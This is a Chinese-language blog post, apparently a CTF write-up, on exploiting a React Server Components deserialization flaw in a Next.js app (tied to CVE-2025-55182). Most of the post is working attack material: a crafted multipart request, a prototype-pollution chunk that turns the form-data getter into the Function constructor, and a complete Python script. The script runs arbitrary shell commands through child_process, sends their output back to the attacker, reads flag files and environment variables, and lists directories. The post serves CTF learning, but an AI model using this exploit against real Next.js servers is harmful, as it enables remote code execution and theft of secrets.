萦梦sora~Nya

统计加载中...

Announcement

欢迎来到萦梦sora~的站点，底层协议生效中~~~

Learn More

标签

.so逃逸 CTF CVE me SRC 内网渗透同源策略安全年度总结杂谈栈帧逃逸沙箱逃逸网络网络安全网络渗透

站点统计

文章

22

分类

2

标签

15

总字数

40,361

运行时长

0 天

最后活动

0 天前

655 字

3 分钟

来自bearcatctf国际赛的小小RSC反序列

2026-02-22

网络安全

网络

/

安全

/

CTF

统计加载中...

来自bearcatctf国际赛的小小RSC反序列#

在bearcatctf国际赛上又一次撞见了RSC反序列，这次没有waf，这样可以直接进行原型链。

上次aliyun做的题把原型链全ban了，这次的轻松多了

不太像放图片，我就直接口述吧

先放放请求包格式

1
POST / HTTP/1.1
2
Host: chal.bearcatctf.io:38270
3
Content-Length: 471
4
Next-Action: 3fee78e8995a129cd1c598459b0203a43f700478
5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
6
Accept: text/x-component
7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2wGJp2c6AKkFYaS3
8
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D
9
Origin: http://chal.bearcatctf.io:38270
10
Referer: http://chal.bearcatctf.io:38270/
11
Accept-Encoding: gzip, deflate, br
12
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
13
Cookie: userId=016e358a-dc59-4b22-8711-416cc1ab3a6c
14
Connection: keep-alive
15

16
------WebKitFormBoundary2wGJp2c6AKkFYaS3
17
Content-Disposition: form-data; name="1_$ACTION_ID_3fee78e8995a129cd1c598459b0203a43f700478"
18

19

20
------WebKitFormBoundary2wGJp2c6AKkFYaS3
21
Content-Disposition: form-data; name="1_title"
22

23
s
24
------WebKitFormBoundary2wGJp2c6AKkFYaS3
25
Content-Disposition: form-data; name="1_content"
26

27
s
28
------WebKitFormBoundary2wGJp2c6AKkFYaS3
29
Content-Disposition: form-data; name="0"
30

31
["$K1"]
32
------WebKitFormBoundary2wGJp2c6AKkFYaS3--

next-action的解码上次已经完整走过一次了，只要注意下细节就好了

同样的首先还是要注意chunk块头的解析，也就是以下的规则

0 = 那串json 1 = ”$@0” 这时0会被当成对象去进行解析，直接看看chunk块

1
{
2
    "then": "$1:__proto__:then",
3
    "status": "resolved_model",
4
    "reason": -1,
5
    "value": '{"then":"$B0"}',
6
    "_response": {
7
        "_prefix": JS,
8
        "_formData": {"get": "$1:constructor:constructor"},
9
    },
10
}

这里的then拿到真实object的then方法，status不多说，详情请见我的CVE-2025-55182深度解析

解析value的默认规则贴一下。

1
 case "B":
2
            return (
3
              (obj = parseInt(value.slice(2), 16)),
4
              response._formData.get(response._prefix + obj)
5
            );

这里是return response._formData.get(response._prefix + obj)然后obj是0，上文不放出了。

而formdata的get方法已经被劫持了，

1
$1:constructor:constructor

成了function，所以它默认接收function，然后_prefix被改写成了恶意js，然后就执行了系统命令

贴一贴脚本

1
import base64, json, re, requests
2

3
HOST = "http://chal.bearcatctf.io:38270"
4
ACTION = "3fee78e8995a129cd1c598459b0203a43f700478"
5
COOKIES = {"userId": "016e358a-dc59-4b22-8711-416cc1ab3a6c"}
6
ROUTER_STATE = "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D"
7

8
HEADERS = {
9
    "Accept": "text/x-component",
10
    "Next-Action": ACTION,
11
    "Next-Router-State-Tree": ROUTER_STATE,
12
    "Origin": HOST,
13
    "Referer": HOST + "/",
14
}
15

16
def make_js(cmd: str) -> str:
17
    cmd = cmd.replace("\\", "\\\\").replace("'", "\\'")
18
    return f"""
19
var cp = process.mainModule.require('child_process');
20
var out = cp.execSync("sh -lc '{cmd}' 2>&1").toString();
21
var b = Buffer.from(out,'utf8').toString('base64');
22
throw Object.assign(new Error('NEXT_REDIRECT'),{{
23
  digest:'NEXT_REDIRECT;push;/?b='+b+';307;'
24
}});
25
""".strip()
26

27
def exploit(cmd: str):
28
    JS = make_js(cmd) + "//"  # 末尾注释吃掉拼接的 0
29
    crafted_chunk = {
30
        "then": "$1:__proto__:then",
31
        "status": "resolved_model",
32
        "reason": -1,
33
        "value": '{"then":"$B0"}',
34
        "_response": {
35
            "_prefix": JS,
36
            "_formData": {"get": "$1:constructor:constructor"},
37
        },
38
    }
39

40
    files = {
41
        f"1_$ACTION_ID_{ACTION}": (None, ""),
42
        "0": (None, json.dumps(crafted_chunk)),
43
        "1": (None, '"$@0"'),
44
    }
45

46
    r = requests.post(HOST + "/", headers=HEADERS, cookies=COOKIES, files=files, timeout=15)
47
    text = r.text
48

49
    m = re.search(r"/\?b=([A-Za-z0-9+/=]+);307;", text)
50
    if not m:
51
        print("[-] no base64 leak found. status =", r.status_code)
52
        print(text[:1200])
53
        return None
54

55
    out = base64.b64decode(m.group(1)).decode("utf-8", errors="replace")
56
    print("status =", r.status_code)
57
    print(out)
58
    return out
59

60
if __name__ == "__main__":
61
    # 先确认执行环境
62
    exploit("cat /app/flag.txt")
63

64
    # 1) 先看环境变量里有没有 FLAG
65
    exploit("echo \"FLAG=$FLAG\"; env | grep -i flag || true")
66

67
    # 2) 枚举常见目录
68
    exploit("ls -la /; ls -la /app 2>/dev/null || true; ls -la /srv 2>/dev/null || true; ls -la /home 2>/dev/null || true")
69

70
    # 3) 直接搜 flag 文件（限制深度 + head 防止太慢）
71
    exploit("find / -maxdepth 4 -type f -iname '*flag*' 2>/dev/null | head -n 50")